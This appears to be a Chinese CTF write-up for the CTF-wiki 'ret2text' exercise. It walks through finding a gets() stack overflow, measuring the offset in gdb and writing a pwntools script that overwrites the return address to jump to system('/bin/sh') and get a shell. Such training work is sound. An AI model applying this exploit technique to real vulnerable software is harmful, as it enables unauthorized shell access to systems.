zoukankan      html  css  js  c++  java
  • [WP]CTFwiki-ret2text

    1.首先运行一下程序

    2.简单地检查一下程序,32位程序,开启了部分Relro保护,有NX保护(其实并没有什么影响)

     

    3.观察 main 函数不难发现是通过 gets() 函数输入来覆盖返回值。

     4.在 ida 里发现有 system("/bin/sh") 的代码,这样其实我们以及可以构造 exp 了,现在只需要测出覆盖长度即可

     

     

    5.载入 gdb 中在 call gets 处下一个断点,之后查看寄存器(不同系统可能有所不同)

    EBP: 0xffffd168 --> 0x0 
    ESP: 0xffffd0e0 --> 0xffffd0fc --> 0xf7ffd000 --> 0x26f34 

      

      

    6. 0x168 - 0xfc = 0x6c,之后可以写 exp 了

    #!/usr/bin/env python
    from pwn import *
    
    #EBP = 0xffffd168
    #ESP = 0xffffd0e0 -> 0xffffd0fc -> 0xf7ffd000 -> 0x26f34
    #padding_num1 = d168 - d0fc = 0x6c
    #padding_num2 = 4               (32-bit)
    p = process('./ret2text')
    bin_sh_addr = 0x804863A
    payload = 'a' * (0x6c + 0x4) + p32(bin_sh_addr)
    p.recvuntil('thing?')
    p.sendline(payload)
    p.interactive()

  • 相关阅读:
    docker 第六篇 dockerfile
    docker 第五篇 存储
    8.4总结
    消失之物,分治
    NOIP模拟9
    卡特兰数总结
    【洛谷】P3537 [POI2012]SZA-Cloakroom
    0915 N校联考
    [树链剖分]BZOJ3589动态树
    0905膜你赛测试
  • 原文地址:https://www.cnblogs.com/Tsuiyields/p/11874933.html
Copyright © 2011-2022 走看看